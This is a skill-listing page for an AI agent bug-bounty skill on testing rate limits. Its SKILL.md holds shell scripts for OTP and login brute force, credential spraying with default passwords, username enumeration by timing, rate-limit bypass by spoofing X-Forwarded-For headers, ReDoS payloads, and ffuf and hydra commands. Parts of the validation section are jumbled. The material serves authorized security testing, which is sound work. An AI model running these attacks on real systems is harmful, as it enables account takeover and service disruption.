hunt-brute-force skill
Hunt Missing/Weak Rate Limiting — login brute force, OTP/2FA brute force (10^6 keyspace), password-reset-token brute, credential stuffing, username/email enumeration via error-string / status-code / timing differences, weak password policy, missing CAPTCHA (CAPTCHA token replay / single-use / concurrency-window bypass specifics → hunt-captcha-bypass), IP-based rate-limit bypass via X-Forwarded-For and friends, ReDoS. Distinguishes hard lockout vs soft IP-throttle vs CAPTCHA-injection vs silent shadow-throttling (avoids false-negative 'no rate limit' conclusions). Medium to Critical depending on what the brute reaches (OTP→ATO = Critical).
Is the hunt-brute-force skill safe?
Clean: nothing in its files matched our rules. We read 1 file in the folder on 2026-09-28.
No findings.
Install the hunt-brute-force skill
A skill is a folder. Copy it into your agent's skills folder and the agent loads it when the task matches its description.
git clone --depth 1 https://github.com/elementalsouls/Claude-BugHunter.git /tmp/Claude-BugHunter mkdir -p ~/.claude/skills cp -r /tmp/Claude-BugHunter/skills/hunt-brute-force ~/.claude/skills/hunt-brute-force
In the Claude apps, zip the folder and upload it from the Skills settings. The folder on GitHub
The instructions your agent would load
SKILL.md as published, without the frontmatter. Read it on GitHub
HUNT-BRUTE-FORCE — Rate Limiting / Brute Force / Enumeration
Grounding note: this skill is built from published technique classes, not from a
curated set of named HackerOne reports. report_count is intentionally 0 — do
not cite an exact payout or report ID you cannot verify. Where a public case is
well-documented (e.g. Laxman Muthiyah's Instagram password-reset OTP race/rotation
research, 2019–2021), it is named below as a technique reference, not a payout claim.
Crown Jewel Targets
OTP brute force (6-digit = 1,000,000 combinations) with no effective rate limit = Critical ATO bypass.
Highest-value chains:
- OTP / 2FA brute → MFA bypass → ATO — no effective rate limit on /verify-otp, full 000000–999999 keyspace reachable
- Password-reset token brute — short/predictable/non-expiring tokens + no rate limit → ATO (the Instagram 2019 case combined a 6-digit reset code, no rate limit per request-source, and IP rotation to make 10^6 tractable)
- Username/email enumeration → targeted credential stuffing — valid/invalid distinguishable by response string, status code, or timing, then sprayed with breach corpora
- Coupon / gift-card / referral code brute — no rate limit on code validation → financial impact
- ReDoS — attacker-controlled input hits a catastrophic-backtracking regex → CPU exhaustion → DoS
Autonomous Testing Priority
Work within your turn budget — prioritize signal over volume.
You cannot brute-force millions of combinations in automated testing. Focus on two things: (1) credential spraying with the most likely candidates, and (2) detecting whether rate limiting exists at all.
Strategy:
- Identify the login endpoint and the expected parameter names (username/email, password).
- Try weak/default credentials likely for the target context — default admin credentials for the app's stack, simple passwords for test environments, credentials visible elsewhere on the app (e.g. usernames exposed in profiles, default passwords in documentation).
- After 3-5 failed attempts, check for rate-limit signals (429 status, "too many attempts" message, CAPTCHA appearance, account lockout message). Absence of these = rate limiting is missing = vulnerability.
- Use form-encoding for traditional login forms, JSON for REST API login endpoints.
What to look for as success:
- Session token or JWT in the response body or Set-Cookie header
- Redirect to authenticated dashboard
- Response body that differs from the failed-login baseline
Username enumeration (separate finding): Try a known-valid username vs a random one. If the error message differs ("Wrong password" vs "User not found") or response time differs → user enumeration vulnerability, even without a successful login.
CRITICAL: Four rate-limit states — do not collapse them
A 200/401 with no 429 does not mean "no rate limiting". A rate-limiting skill that only checks for 429/lockout produces false negatives. Classify the defense BEFORE concluding, by sending a burst of ~50 requests and watching the full response (status, body, headers, latency, and downstream success):
Shadow-throttle detector — inject a known-good value at a known position and confirm it still works under load:
# Seed: position 500 in the brute set is the REAL OTP for your own test account.
# If the loop reaches 500 and the correct code no longer authenticates,
# the endpoint is silently throttling/dropping — NOT unprotected.
KNOWN_GOOD="123456" # the actual current OTP for YOUR test account
for n in $(seq 0 600); do
CODE=$([ "$n" = "500" ] && echo "$KNOWN_GOOD" || printf "%06d" "$n")
CODE_RESP=$(curl -s -o /tmp/bf_body -w "%{http_code} %{time_total}" \
-X POST "https://$TARGET/api/verify-otp" \
-H "Content-Type: application/json" -H "Cookie: $SESSION_COOKIE" \
-d "{\"otp\":\"$CODE\"}")
echo "$n $CODE $CODE_RESP $(wc -c </tmp/bf_body)"
done
# Three columns to watch: status, time_total, body size.
# Rising time_total or a body-size change with status unchanged = shadow throttle.Step-by-Step Hunting Methodology
Phase 1 — Login Rate Limit Test (classify, don't just count 429s)
# Send a burst and log status + latency + body length for EACH attempt.
for i in $(seq 1 50); do
read CODE TIME < <(curl -s -o /tmp/bf_l -w "%{http_code} %{time_total}\n" \
-X POST "https://$TARGET/api/login" \
-H "Content-Type: application/json" \
-d "{\"username\":\"test@$TARGET\",\"password\":\"wrong$i\"}")
echo "Attempt $i: status=$CODE time=${TIME}s len=$(wc -c </tmp/bf_l)"
sleep 0.1
done
# Then CLASSIFY against the 4-state table above. Watch for:
# - status flips to 429 / 403 → soft throttle or lockout
# - body grows / CAPTCHA token appears → CAPTCHA injection
# - latency climbs while status stays 401 → shadow throttle
# - genuinely nothing changes across all 50 → candidate "no rate limit" (confirm w/ Phase 2 seed)Phase 2 — OTP / 2FA Brute Force
# PRE-REQUISITE: a valid session that is pending OTP verification (your own test account).
SESSION_COOKIE="pre-auth-session-after-first-factor"
# ---- 2a. PoC probe: send 101 codes (seq 0..100 is INCLUSIVE = 101 values) ----
# This ONLY proves the endpoint accepts repeated attempts without 429/lockout.
# It does NOT prove the full 10^6 keyspace is brute-forcible — see 2b.
for CODE in $(seq -f "%06g" 0 100); do
RESP=$(curl -s -X POST "https://$TARGET/api/verify-otp" \
-H "Content-Type: application/json" -H "Cookie: $SESSION_COOKIE" \
-d "{\"otp\":\"$CODE\"}" -o /dev/null -w "%{http_code}")
echo "$CODE: $RESP"
[ "$RESP" = "429" ] && { echo "Rate limit at $CODE"; break; }
done
# 101 attempts with no 429/lockout → endpoint is a candidate. NOW run the shadow-throttle
# seed test (above) before claiming "no rate limit". A clean probe is necessary, not sufficient.
# ---- 2b. Full-keyspace impact proof (only with explicit authorization + your own account) ----
# Severity rests on 10^6 being REACHABLE, not on 101 codes. Demonstrate tractability:
# - keyspace = 10^6 ; observed throughput from 2a (req/s) ; expected hit at ~half keyspace.
# - e.g. 50 req/s sustained → ~10^6Phase 3 — Username / Email Enumeration (string AND status AND timing)
VALID_USER="known-user@$TARGET"
INVALID_USER="definitely-not-real-xyz123@$TARGET"
# String + status diff
for U in "$VALID_USER" "$INVALID_USER"; do
curl -s -o /tmp/bf_e -w "[$U] status=%{http_code} time=%{time_total}s len=%{size_download}\n" \
-X POST "https://$TARGET/api/login" -H "Content-Type: application/json" \
-d "{\"email\":\"$U\",\"password\":\"wrongpassword\"}"
done
diff <(curl -s -X POST "https://$TARGET/api/login" -H 'Content-Type: application/json' \
-d "{\"email\":\"$VALID_USER\",\"password\":\"wrong\"}") \
<(curl -s -X POST "https://$TARGET/api/login" -H 'Content-Type: application/json' \
-d "{\"email\":\"$INVALID_USER\",\"password\":\"wrong\"}")
# Different message/status/len → enumeration.
# Timing oracle (valid users hash the password, invalid users short-circuit → measurable delta).
# Sample MANY times and compare medians — a single request is noise, not signal.
echo "VALID timings:"; for i in $(seq 1 30); do curl -s -o /dev/null -w "%{time_total}\n" \
-X POST "https://$TARGET/api/login" -H 'Content-Type: application/json' \
-d "{\"email\":\"$VALID_USER\",\"password\":\"wrong\"}"; done | sort -n | awk '{a[NR]=$1}END{print a[iPhase 3b — Unthrottled registration (mass account creation)
An unrate-limited signup endpoint is an abuse finding on its own, not just an enumeration oracle: burst /signup//register (rotate email + source per request) and confirm N accounts are actually created with no 429/CAPTCHA/lockout → automated mass-account creation (spam, promo/referral abuse, resource exhaustion). Low–Medium standalone; higher when it chains to a paid/limited resource. Disclosed: reports/2915502.
Phase 4 — IP / Source Rotation Bypass
# Per-IP limits are bypassable when the app trusts a client-controlled source header.
# Rotate the header EVERY request; if the 429 you hit in Phase 1 disappears → broken limit.
HEADERS=( "X-Forwarded-For" "X-Real-IP" "X-Originating-IP" "X-Client-IP" \
"X-Remote-IP" "X-Forwarded" "Forwarded-For" "CF-Connecting-IP" "True-Client-IP" )
for i in $(seq 1 60); do
RAND_IP="$(shuf -i 1-254 -n1).$(shuf -i 1-254 -n1).$(shuf -i 1-254 -n1).$(shuf -i 1-254 -n1)"
ARGS=(); for h in "${HEADERS[@]}"; do ARGS+=(-H "$h: $RAND_IP"); done
RESP=$(curl -s "${ARGS[@]}" -X POST "https://$TARGET/api/login" \
-H "Content-Type: application/json" \
-d "{\"email\":\"test@$TARGET\",\"password\":\"wrong$i\"}" -o /dev/null -w "%{http_code}")
echo "Attempt $i (IP $RAND_IP): $RESP"
done
# Also try: multiple comma-joined XFF values ("1.2.3.4, 5.6.7.8"), and appending your real IP
# AFTER a spoofed one — some parsers take first, some last.
# CONFIRM the bypass: re-run Phase 1 WITHOUT rotation to show the 429 returns. The delta is the proof.Phase 5 — Token Entropy (measure it, don't eyeball it)
# Collect reset/session/OTP tokens for YOUR OWN test account, then quantify entropy.
for i in $(seq 1 20); do
curl -s -X POST "https://$TARGET/forgot-password" -d "email=your-test@email.com"
# Extract token from the email/link and append to tokens.txt
sleep 2
done
# 1) Shannon entropy / compressibility — low entropy = predictable:
ent tokens.txt 2>/dev/null || \
python3 -c "import sys,math,collections;d=open('tokens.txt').read();c=collections.Counter(d);n=len(d);\
print('bits/char =', -sum(v/n*math.log2(v/n) for v in c.values()))"
# 2) If tokens are hex/base64, decode and look for structure (timestamp, counter, PID):
while read t; do echo -n "$t -> "; echo -n "$t" | xxd -r -p 2>/dev/null | xxd | head -1; done < tokens.txt
# 3) Sequential / time-correlated test — sort and diff consecutive numeric tokens:
sort -n tokens.txt | awk 'NR>1{print $1-prev} {prev=$1}' # constant/small delta = counter-based
# 4) DEFINITIVE tool: pipe ~10k tokens through Burp Sequencer (Live capture on the reset
# response) — it runs FIPS/NIST randomness tests and reports effective bits of entropy.
# < ~64 effective bits on a security token is a finding; the brute-window math follows.Phase 6 — ReDoS Detection
# Hit input-validation / search endpoints with catastrophic-backtracking payloads.
# Classic evil-regex triggers (nested quantifier / overlapping alternation):
for LEN in 5 10 15 20 25 30; do
INPUT=$(python3 -c "print('a'*$LEN + '!')") # for (a+)+$ / (a|a)*$ style regex
T=$(curl -s -o /dev/null -w "%{time_total}" "https://$TARGET/search?q=$INPUT")
echo "len=$LEN -> ${T}s"
done
# Other payload shapes to try by field: email regex → "a@"+"a"*N ; URL regex → "http://"+"a"*N
# DOUBLING latency per +5 chars (super-linear) = ReDoS. Linear growth = just a slow endpoint, NOT a bug.
# Confirm with a control: send the same byte-length of a BENIGN string; if it returns fast, the
# blow-up is regex-driven, not size-driven.Automation
# ---- ffuf: OTP brute ----
# PoC probe (101 codes) — proves acceptance, NOT full keyspace. Note the inclusive seq.
ffuf -u "https://$TARGET/api/verify-otp" -X POST \
-H "Content-Type: application/json" -H "Cookie: session=SESSION" \
-d '{"otp": "FUZZ"}' \
-w <(seq -f "%06g" 0 100) \
-mc all -ac \
-rate 50 # cap throughput so YOU can read the rate-limit response, not DoS the target
# FULL keyspace (authorized + your own account only) — generate all 10^6 codes:
# seq -f "%06g" 0 999999 > /tmp/otp_full.txt (then -w /tmp/otp_full.txt)
# Use -mc all + -ac so ffuf auto-calibrates and you SEE 429/403/CAPTCHA responses instead of
# filtering them out. -mc 200 alone hides throttling — never brute with -mc 200 only.
# Add -p 0.1 jitter and watch the Errors/RateLimited counters; stop if the success oracle stops firing.
# ---- hydra: login spray ----
hydra -l admin@target.com -P ~/wordlists/top-1000.txt "$TARGET" \
http-post-form "/api/login:email=^USER^&password=^PASS^:Invalid" -t 4
# ---- nuclei: rate-limit / default-cred templates ----
nuclei -u "https://$TARGET" -t http/fuzzing/ -t http/default-logins/ -severity medium,high,criticalChain Table
Validation — false-positive discipline
Before writing the report, each must hold:
Shadow-throttle seed test passed (the known-good value still authenticates under burst load). Latency and body-size were monitored, not only status code.
- OTP/login "no rate limit": confirmed against ALL FOUR states — not just absence of 429.
vs 10^6), not by a 101-code probe. State the numbers in the report.
- Full-keyspace claim: severity is justified by the reachability math (throughput × code-lifetime
(valid vs invalid user), not a server-policy artifact (e.g. a generic "if this email exists we sent…" message is NOT enumeration). For timing, compare medians of many samples, never single requests.
- Enumeration: difference is reproducible across ≥20 samples and is a server-state difference
the proof; one fast run alone is not.
- IP-rotation bypass: proven by toggling rotation off and showing the 429 returns. The delta IS
demonstrated counter/timestamp structure), not "looks short".
- Token entropy: backed by an actual measurement (Burp Sequencer effective-bits, ent, or a
A rate-limit gap with no reachable impact is informational, not Medium.
- ReDoS: super-linear (doubling) latency growth with a benign-control comparison; linear ≠ ReDoS.
- Scope/impact: did you reach a real outcome (authenticated session, leaked account list, DoS)?
Severity:
- Effective brute of OTP/MFA/reset-code → demonstrated ATO path: Critical
- No login rate limit + working credential-stuffing/IP-bypass: High
- Predictable security token (measured low entropy): High
- Username/email enumeration alone: Low–Medium
- ReDoS with reproducible meaningful server lag: Medium–High
- Attacker-triggerable hard lockout (account DoS): Medium
More skills from elementalsouls/Claude-BugHunter
- Aapk-redteam-pipelineEnd-to-end Android APK red-team pipeline — automated APK acquisition (Play Store + apkpure + apkmirror fallback), jadx decompilation, secret/URL/JWT/Firebase grep, pinned-cert extraction, exported-component enumeration, Frida runtime instrumentation templates, intent-injection probes. Built from an authorized external red-team engagement where 7 APKs were pulled manually, 4 download attempts truncated, and a hardcoded JWT + 30 internal API endpoints were recovered from one of the apps. Use when target has a mobile app catalogue (Play Store developer page), when you find an APK URL hosted on a web server, or when post-recon mentions "mobile app" in scope.
- Fbb-local-toolkitLocal-tooling companion to the bug-bounty orchestrator — carries the SAME complete bug-bounty workflow, but reach for THIS variant when you also need to resolve where tools, wordlists, and clones are installed on the local machine (jhaddix, SecLists, trufflehog, ffuf, dalfox, ghauri); for pure orchestration/routing use the bug-bounty skill. Workflow it covers — recon (subdomain enumeration, asset discovery, fingerprinting, HackerOne scope, source code audit), pre-hunt learning (disclosed reports, tech stack research, mind maps, threat modeling), vulnerability hunting (IDOR, SSRF, XSS, auth bypass, CSRF, race conditions, SQLi, XXE, file upload, business logic, GraphQL, HTTP smuggling, cache poisoning, OAuth, timing side-channels, OIDC, SSTI, subdomain takeover, cloud misconfig, ATO chains, agentic AI), LLM/AI security testing (chatbot IDOR, prompt injection, indirect injection, ASCII smuggling, exfil channels, RCE via code tools, system prompt extraction, ASI01-ASI10), A-to-B bug chaining (IDOR→auth bypass, SSRF→cloud metadata, XSS→ATO, open redirect→OAuth theft, S3→bundle→secret→OAuth), bypass tables (SSRF IP bypass, open redirect bypass, file upload bypass), language-specific grep (JS prototype pollution, Python pickle, PHP type juggling, Go template.HTML, Ruby YAML.load, Rust unwrap), and reporting (7-Question Gate, 4 validation gates, human-tone writing, templates by vuln class, CVSS 3.1, PoC generation, always-rejected list, conditional chain table, submission checklist). Use when you need the local install path of a tool / wordlist / clone for a hunt, or as the full-workflow variant when operating from this local toolkit; for general routing use the bug-bounty skill. 中文触发词:漏洞赏金、安全测试、渗透测试、漏洞挖掘、信息收集、子域名枚举、XSS测试、SQL注入、SSRF、安全审计、漏洞报告
- Abb-methodologyUse at the START of any bug bounty hunting session, when switching targets, or when feeling lost about what to do next. Master orchestrator that combines the 5-phase non-linear hunting workflow with the critical thinking framework (developer psychology, anomaly detection, What-If experiments). Routes to all other skills based on current hunting phase. Also use when asking "what should I do next" or "where am I in the process."
- Fbug-bountyComplete bug bounty workflow — recon (subdomain enumeration, asset discovery, fingerprinting, HackerOne scope, source code audit), pre-hunt learning (disclosed reports, tech stack research, mind maps, threat modeling), vulnerability hunting (IDOR, SSRF, XSS, auth bypass, CSRF, race conditions, SQLi, XXE, file upload, business logic, GraphQL, HTTP smuggling, cache poisoning, OAuth, timing side-channels, OIDC, SSTI, subdomain takeover, cloud misconfig, ATO chains, agentic AI), LLM/AI security testing (chatbot IDOR, prompt injection, indirect injection, ASCII smuggling, exfil channels, RCE via code tools, system prompt extraction, ASI01-ASI10), A-to-B bug chaining (IDOR→auth bypass, SSRF→cloud metadata, XSS→ATO, open redirect→OAuth theft, S3→bundle→secret→OAuth), bypass tables (SSRF IP bypass, open redirect bypass, file upload bypass), language-specific grep (JS prototype pollution, Python pickle, PHP type juggling, Go template.HTML, Ruby YAML.load, Rust unwrap), and reporting (7-Question Gate, 4 validation gates, human-tone writing, templates by vuln class, CVSS 3.1, PoC generation, always-rejected list, conditional chain table, submission checklist). Use for ANY bug bounty task — starting a new target, doing recon, hunting specific vulns, auditing source code, testing AI features, validating findings, or writing reports. 中文触发词:漏洞赏金、安全测试、渗透测试、漏洞挖掘、信息收集、子域名枚举、XSS测试、SQL注入、SSRF、安全审计、漏洞报告
- Abugcrowd-reportingBugcrowd-specific reporting tactics complementing report-writing: VRT category search-and-fallback strategy when no exact match exists, manual severity override when VRT defaults underrate impact, severity-request paragraph as first body section, OOS-clause rebuttal templates (rate limiting on auth-flow endpoints, debug-info framing, user-enumeration with sensitive PII, theoretical-issue counter), chained-finding cross-reference patterns, target selection for QA-vs-prod programs, researcher-side hygiene (Bugcrowdninja email alias, account state restoration, friendly-tester posture). Use when filing a Bugcrowd submission, when VRT default seems wrong, when triager closes as OOS or downgrades severity, when chaining linked submissions, or when scope distinguishes production from QA. Pairs with report-writing and triage-validation.
- Acloud-iam-deepCloud IAM red-team attack chain across AWS, Azure, GCP — focused on EXTERNAL exploitation paths and post-credential-discovery privilege analysis. Covers IAM enumeration (aws iam, az role, gcloud iam), STS/AssumeRole chaining, Azure Managed Identity abuse (via SSRF/leak), GCP service account JSON abuse, IMDSv1/v2 attacks via SSRF, K8s ServiceAccount token privilege analysis once held (token discovery / cluster exposure is owned by hunt-k8s), role-trust-policy confused-deputy, cross-account assume-role enumeration, IAM privilege escalation patterns (24+ AWS, 8+ Azure, 6+ GCP), and AWS Cognito Identity Pool unauthenticated-role attack chain (GetId → GetCredentialsForIdentity → IAM role abuse). Built for the case where recon yields a credential (key, JSON, token) and you need to know what it grants and how to escalate. Use when an AWS key / Azure secret / GCP service account JSON / K8s SA token surfaces from a code repo, JS bundle, APK, breach corpus, or SSRF chain.
- Centerprise-vpn-attackExternal SSL VPN / remote-access appliance attack matrix — Cisco ASA/AnyConnect, Fortinet FortiGate/FortiOS, Citrix NetScaler/ADC, Palo Alto GlobalProtect, Pulse Secure / Ivanti Connect Secure, SonicWall, F5 Big-IP. Covers version fingerprinting, CVE matrix (2018-2026), AAA backend identification, default credentials, configuration-disclosure paths, pre-auth RCE/SSRF/path-traversal exploits where applicable. Built from authorized-engagement Cisco ASA testing plus 2024-2026 enterprise VPN CVE landscape. Use whenever the target's perimeter exposes any SSL VPN appliance or remote-access gateway — these are the most common initial-access points in 2024-2026 actor TTPs.
- Aevidence-hygieneEvidence-capture and PoC-redaction discipline for bug-bounty submissions: cookie redaction protocol (which fields to mask, Preview annotation / Burp panel hiding / DevTools workflow), PII black-bar discipline (what to mask in other-user data — names, emails, phones, faces — vs what is safe to leave — usernames, trace IDs, request bodies), HAR file sanitization (jq filters for Cookie/Set-Cookie/Authorization headers), Burp Repeater/Intruder screenshot hygiene (hide request body, show only Results table for rate-limit attacks), Chrome DevTools Console PoC patterns (credentials include so cookies are not echoed, labeled console.log), screenshot capture order, filename conventions, post-submission rotation hygiene. Use BEFORE any PoC screenshot, BEFORE attaching a HAR, or whenever preparing evidence with session cookies or other-user PII. Pairs with bugcrowd-reporting and report-writing.
- Ahunt-api-misconfigHunt API security misconfiguration — mass assignment, prototype pollution, HTTP verb tampering. Mass assignment: send {is_admin:true, role:admin, verified:true} on profile/account/reset endpoints — server blindly applies. JWT signature/crypto forging (alg:none, key confusion, kid/jku) is owned by hunt-jwt-crypto; this skill covers only non-crypto JWT handling. Prototype pollution: __proto__ injection in JSON merge / Object.assign / lodash _.merge → polluted prototype reaches sink (RCE in Node, XSS in browser). HTTP verb: GET-bypass-CSRF, X-HTTP-Method-Override, TRACE enabled. Detection: API responses with extra fields, JWTs in headers (decode at jwt.io). CORS misconfiguration (reflect-any-origin, null origin, subdomain-regex bypass, postMessage) is owned by hunt-cors. Use when hunting API misconfigs, mass-assignment, prototype pollution (JWT crypto → hunt-jwt-crypto).
- Ahunt-aspnetHunt ASP.NET-specific surface — ViewState deserialization (signed-only vs encrypted), machineKey recovery, dual-parser MAC-bypass anti-pattern, request-validator bypass, trace.axd/elmah.axd disclosure, load-balanced ViewState cross-node failures, SafeControl enumeration via reflection, customErrors mode=Off stack-trace leaks, classic Webforms .aspx/.asmx/.svc surface. Built for ASP.NET Webforms + WCF + SharePoint farms.
- Ahunt-atoHunt account takeover taxonomy — 9 distinct paths to ATO, plus chains. Paths: (1) password reset flaws (host-header injection redirects token, predictable/numeric token, Referer leak, no-expiry/reuse), (2) email change without re-auth, (3) OAuth account-link CSRF, (4) MFA bypass (per hunt-mfa-bypass), (5) session fixation, (6) JWT manipulation (forge token to another identity; crypto details → hunt-jwt-crypto), (7) password change without step-up (chain with login timing/length oracle), (8) social-recovery / security-question brute-force, (9) SSO subdomain takeover at OAuth redirect_uri. Chains: cookie theft + password oracle + no step-up = persistent ATO; lax redirect_uri = auth-code theft; dangling-CNAME takeover at redirect_uri = ATO. Validate: demonstrate real takeover of test account B from attacker A's session; OOB/Collaborator confirm blind token-leak steps. Use when hunting ATO chains, testing password reset / email change / MFA / OAuth / session / JWT, or chaining primitives toward Critical.
- Ahunt-auth-bypassHunting skill for auth bypass vulnerabilities. Built from 12 public bug bounty reports across SAML XSW / parser-differential (GitHub Enterprise CVE-2025-25291/25292), SAML signature stripping (Uber, Rocket.Chat, samlify CVE-2025-47949), SAML domain enforcement bypass via control characters (HackerOne 2024), partner-portal cross-IdP assertion reuse (Slack), WordPress XMLRPC bypassing SSO (Uber), JWT alg-confusion HS256/RS256 (Jitsi), JWT signature-validation skip (Linktree, Newspack), and token-audience confusion (Argo CD CVE-2023-22482). For standalone JWT signature/crypto forging (alg:none, key confusion, kid/jku) see hunt-jwt-crypto; this skill covers JWT only inside SSO/SAML/token-trust bypass chains. SAML assertion-layer attacks (XSW, comment injection, signature stripping, XXE-in-assertion) are owned by hunt-saml; this skill owns the broader cross-protocol auth-bypass taxonomy. Use when hunting auth bypass — see the Legacy-Protocol Matrix for branded-UI vs legacy-endpoint patterns.